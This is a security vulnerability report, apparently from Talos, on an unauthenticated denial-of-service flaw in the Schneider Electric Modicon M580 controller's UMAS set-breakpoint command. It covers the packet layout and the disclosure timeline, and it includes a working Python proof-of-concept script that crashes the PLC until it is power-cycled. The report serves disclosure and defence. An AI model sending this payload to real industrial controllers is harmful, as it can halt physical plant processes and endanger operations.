Talos Vulnerability Report

Summary

An exploitable denial-of-service vulnerability exists in the UMAS set breakpoint functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”

Use of the UMAS function code 0x60 sets a breakpoint on the specified rung. When the device is placed into an executable mode, a successfully placed breakpoint will cause execution to pause until a step, continue, or other applicable command is issued. If a set breakpoint command is issued with certain parameters, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of the SET_BREAKPOINT command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |       D       |   E   |       F       |   G   | H 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1   H |   I   |
  +---+---+---+

A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code   (0x60)
D --> Unknown              (0x00000000)
E --> Break or Watch       (0x0000)
F --> Unknown              (0x00000000)
G --> Block Number         (0x0000)
H --> Unknown              (0xff00)
I --> Unknown              (0x0000) 

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
 
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
 
def main():
    rhost = "192.168.10.1"
    rport = 502
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
 
    # TAKE_PLC_RESERVATION
    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x10"
    unknown = "\x25\x10\x00\x00"
    client_name = "test"
    client_name_len = len(client_name)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
    res = send_message(sock=s, umas=umas)
    if res[9] == "\xfe":
        session = res[-1]
     
        # breakpoint crash
        mbtcp_fnc = "\x5a"
        umas_fnc = "\x60"
        data = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00"
        umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, data)
        try:
            send_message(sock=s, umas=umas)
        except socket.timeout:
            pass
    else:
        print "[!] an error has occurred getting the PLC reservation"
 
    # clean up
    s.close()
 
if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release